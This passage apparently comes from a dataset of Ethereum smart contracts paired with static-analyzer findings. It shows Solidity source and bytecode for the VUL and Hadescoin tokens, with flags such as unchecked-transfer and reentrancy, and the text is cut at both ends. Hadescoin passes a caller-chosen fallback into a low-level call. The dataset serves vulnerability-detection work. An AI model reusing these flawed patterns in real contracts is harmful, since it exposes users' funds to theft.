01b19909116600160e01b9182900460ff908116909202178355848601805484880180549185166001600160a01b031992831617808255925460ff60a01b19938416600160a01b9182900486168202179091556002808901805482890180549190981694169390931780875583549416938290048516151590910292909217808555815460ff60a81b19909116600160a81b9182900490941615150292909217808455915467ffffffffffffffff60b01b19909216600160b01b928390049095169091029390931790556003808401805494959294613ab9949286019391926101009282161592909202600019011604613eee565b50506003805467ffffffffffffffff19811660016001600160401b0392831601821617909155600b5460068054600160481b9092046001600160a01b0316935083926323b872dd92908616908110613b0d57fe5b60009182526020808320600492830201600101548354600c546040805160e089901b6001600160e01b03191681526001600160a01b039485169681019690965292909116602485015260448401525160648084019492939192918390030190829087803b158015613b7d57600080fd5b505af1158015613b91573d6000803e3d6000fd5b505050506040513d6020811015613ba757600080fd5b5050600680546001600160a01b038316916323b872dd916001600160401b038616908110613bd157fe5b60009182526020808320600492830201548354600c54604080516001600160e01b031960e08a901b1681526001600160a01b03600160401b90950485169681019690965292909116602485015260448401525160648084019492939192918390030190829087803b158015613c4557600080fd5b505af1158015613c59573d6000803e3d6000fd5b505050506040513d6020811015613c6f57600080fd5b5050600680546001600160a01b03831691620f6a94916009916000916001600160401b038816908110613c9e57fe5b600091825260208083206004909202909101546001600160a01b03600160401b90910481168452908301939093526040909101812054600680549190931692600992916001600160401b038916908110613cf457fe5b60009182526020808320600160049093020191909101546001600160a01b039081168452908301939093526040909101812054600680549190931692600992916001600160401b038a16908110613d4757fe5b60009182526020808320600492830201600201546001600160a01b039081168552908401949094526040928301822054835160e089901b6001600160e01b03191681529685169187019190915293831660248601529290911660448401525160648084019382900301818387803b158015613dc157600080fd5b505af1158015613dd5573d6000803e3d6000fd5b505050505050565b6040805160a0810182526000808252606060208301819052928201819052918101829052608081019190915290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282613e425760008555613e88565b82601f10613e5b57805160ff1916838001178555613e88565b82800160010185558215613e88579182015b82811115613e88578251825591602001919060010190613e6d565b50613e94929150613f71565b5090565b604080516101408101825260008082526020820181905291810182905260608082018390526080820183905260a0820183905260c0820183905260e0820183905261010082019290925261012081019190915290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282613f245760008555613e88565b82601f10613f355780548555613e88565b82800160010185558215613e8857600052602060002091601f016020900482015b82811115613e88578254825591600101919060010190613f56565b5b80821115613e945760008155600101613f7256fe4d656d62657273206d757374206861766520617661696c61626c6520616c6c6f776564206d6174636865734f6e6c79207468652070726f6d6f7465722063616e207265636f7264206576656e74206d61746368657354686973206d617463682068617320616c7265616479206265656e2066696e616c697a6564596f7520617265206e6f74207468652063726561746f72206f66207468697320636f6e7472616374426f7468206174686c65746573206861766520616c72656164792076657269666965642074686973206d61746368546865206f6e6c79207472756520626174746c6520697320616761696e737420796f757273656c662c206275742063616e277420636f756e7420697420686572652e596f75206e65656420746f2068617665206d6f72652054414320746f206f70656e20616e206576656e742e204f6e6c79207468652072656665726565206d6179206f76657277726974652061206d61746368596f7520617265206e6f74206120706c6179657220696e2074686973206d617463685468652072656665726565206d757374207265636f726420746865206d6174636854686973206576656e7420646f6573206e6f74206861766520616e79206d617463686573206c656674a2646970667358221220b5ab0f9f3baee65f5b3cc45a4fdcd8d8d8e208606757e89fd231986307fba4ed64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,278
0x29d79f8ac7d22a4b1a5e7630f3d48e8d291d3f11
pragma solidity ^0.4.21; /* * Creator: VUL (Vulcan) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * Vulcan token smart contract. */ contract VULToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 100000000 * (10**18); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function VULToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "Vulcan"; string constant public symbol = "VUL"; uint8 constant public decimals = 18; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6060604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f5578063095ea7b31461018357806313af4035146101dd57806318160ddd1461021657806323b872dd1461023f578063313ce567146102b857806331c420d4146102e757806370a08231146102fc5780637e1f2bb81461034957806389519c501461038457806395d89b41146103e5578063a9059cbb14610473578063dd62ed3e146104cd578063e724529c14610539575b600080fd5b34156100eb57600080fd5b6100f361057d565b005b341561010057600080fd5b610108610639565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014857808201518184015260208101905061012d565b50505050905090810190601f1680156101755780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018e57600080fd5b6101c3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610672565b604051808215151515815260200191505060405180910390f35b34156101e857600080fd5b610214600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506106a8565b005b341561022157600080fd5b610229610748565b6040518082815260200191505060405180910390f35b341561024a57600080fd5b61029e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610752565b604051808215151515815260200191505060405180910390f35b34156102c357600080fd5b6102cb6107e0565b604051808260ff1660ff16815260200191505060405180910390f35b34156102f257600080fd5b6102fa6107e5565b005b341561030757600080fd5b610333600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108a0565b6040518082815260200191505060405180910390f35b341561035457600080fd5b61036a60048080359060200190919050506108e8565b604051808215151515815260200191505060405180910390f35b341561038f57600080fd5b6103e3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a75565b005b34156103f057600080fd5b6103f8610c70565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561043857808201518184015260208101905061041d565b50505050905090810190601f1680156104655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047e57600080fd5b6104b3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ca9565b604051808215151515815260200191505060405180910390f35b34156104d857600080fd5b610523600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d35565b6040518082815260200191505060405180910390f35b341561054457600080fd5b61057b600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050610dbc565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600560009054906101000a900460ff161515610637576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600681526020017f56756c63616e000000000000000000000000000000000000000000000000000081525081565b60008061067f3385610d35565b148061068b5750600082145b151561069657600080fd5b6106a08383610f1d565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d684848461100f565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a6b576109666a52b7d2dcc80cd2e40000006004546113f5565b8211156109765760009050610a70565b6109be6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140e565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0c6004548361140e565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a70565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0e57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bb357600080fd5b5af11515610bc057600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f56554c000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d0457600080fd5b600560009054906101000a900460ff1615610d225760009050610d2f565b610d2c838361142c565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e5357600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561104c57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110d957600090506113ee565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561112857600090506113ee565b60008211801561116457508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611384576111ef600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f5565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b76000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f5565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113416000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561140357fe5b818303905092915050565b600080828401905083811015151561142257fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561146957600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114b85760009050611678565b6000821180156114f457508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561160e576115416000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f5565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cb6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820af7db849b50b5bfeeb95f29db0ae9a52c4a96bc30fbeb6f6c9ba779cd1aeb0350029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,279
0x5a890d8c8573d623bd72727f2ae8f3caa0d4aed1
pragma solidity ^0.4.20; /* HadesCoin go to the moon * * $$ $$ $$$$$$ $$$$$$$$ $$$$$$$$$ $$$$$$$$ * $$ $$ $$ $$ $$ $$ $$ $$ * $$ $$ $$ $$ $$ $$ $$ $$ * $$$$$$$$ $$$$$$$$ $$ $$ $$$$$$$$$ $$$$$$$$ * $$ $$ $$ $$ $$ $$ $$ $$ * $$ $$ $$ $$ $$ $$ $$ $$ * $$ $$ $$ $$ $$$$$$$$ $$$$$$$$$ $$$$$$$$ */ /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { // ERC223 and ERC20 functions function balanceOf(address who) public view returns (uint256); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint256 value) public returns (bool ok); function transfer(address to, uint256 value, bytes data) public returns (bool ok); function transfer(address to, uint256 value, bytes data, string customFallback) public returns (bool ok); event LogTransfer(address indexed from, address indexed to, uint256 value, bytes indexed data); // ERC223 functions function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); // ERC20 functions function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event LogTransfer(address indexed _from, address indexed _to, uint256 _value); event LogApproval(address indexed _owner, address indexed _spender, uint256 _value); event LogBurn(address indexed burner, uint256 value); } // ERC223 functions contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract Hadescoin is ERC223 { using SafeMath for uint256; using SafeMath for uint; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; mapping (address => uint) public increase; mapping (address => uint256) public unlockUnixTime; uint maxIncrease=20; address public target; string public constant _name = "HadesCoin"; string public constant _symbol = "HADC"; uint8 public constant _decimals = 18; uint256 public toGiveBase = 5000e18; uint256 public increaseBase = 500e18; uint256 public _totalSupply = 20000000000e18; uint256 public OfficalHold = _totalSupply.div(100).mul(18); uint256 public totalRemaining = _totalSupply; uint256 public totalDistributed = 0; bool public canTransfer = true; uint256 public etherGetBase=5000000; bool public distributionFinished = false; bool public finishFreeGetToken = false; bool public finishEthGetToken = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier canTrans() { require(canTransfer == true); _; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } function Hadescoin (address _target) public { owner = msg.sender; target = _target; distr(target, OfficalHold); } function changeOwner(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function enableWhitelist(address[] addresses) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = false; } } function disableWhitelist(address[] addresses) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = true; } } function changeIncrease(address[] addresses, uint256[] _amount) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { require(_amount[i] <= maxIncrease); increase[addresses[i]] = _amount[i]; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; return true; } function startDistribution() onlyOwner public returns (bool) { distributionFinished = false; return true; } function finishFreeGet() onlyOwner canDistr public returns (bool) { finishFreeGetToken = true; return true; } function finishEthGet() onlyOwner canDistr public returns (bool) { finishEthGetToken = true; return true; } function startFreeGet() onlyOwner canDistr public returns (bool) { finishFreeGetToken = false; return true; } function startEthGet() onlyOwner canDistr public returns (bool) { finishEthGetToken = false; return true; } function startTransfer() onlyOwner public returns (bool) { canTransfer = true; return true; } function stopTransfer() onlyOwner public returns (bool) { canTransfer = false; return true; } function changeBaseValue(uint256 _toGiveBase,uint256 _increaseBase,uint256 _etherGetBase,uint _maxIncrease) onlyOwner public returns (bool) { toGiveBase = _toGiveBase; increaseBase = _increaseBase; etherGetBase=_etherGetBase; maxIncrease=_maxIncrease; return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { require(totalRemaining >= 0); require(_amount<=totalRemaining); totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); LogTransfer(address(0), _to, _amount); return true; } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint8 i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= _totalSupply) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= _totalSupply) { distributionFinished = true; } } } function () external payable { getTokens(); } function getTokens() payable canDistr onlyWhitelist public { if (toGiveBase > totalRemaining) { toGiveBase = totalRemaining; } address investor = msg.sender; uint256 etherValue=msg.value; uint256 value; if(etherValue>1e15){ require(finishEthGetToken==false); value=etherValue.mul(etherGetBase); value=value.add(toGiveBase); require(value <= totalRemaining); distr(investor, value); if(!owner.send(etherValue))revert(); }else{ require(finishFreeGetToken==false && toGiveBase <= totalRemaining && increase[investor]<=maxIncrease && now>=unlockUnixTime[investor]); value=value.add(increase[investor].mul(increaseBase)); value=value.add(toGiveBase); increase[investor]+=1; distr(investor, value); unlockUnixTime[investor]=now+1 days; } if (totalDistributed >= _totalSupply) { distributionFinished = true; } } function transfer(address _to, uint256 _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) { require(_value > 0 && blacklist[msg.sender] == false && blacklist[_to] == false); if (isContract(_to)) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); LogTransfer(msg.sender, _to, _value, _data); LogTransfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint256 _value, bytes _data) canTrans public returns (bool success) { require(_value > 0 && blacklist[msg.sender] == false && blacklist[_to] == false); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } function transfer(address _to, uint256 _value) canTrans public returns (bool success) { require(_value > 0 && blacklist[msg.sender] == false && blacklist[_to] == false); bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint256 _value, bytes _data) private returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = 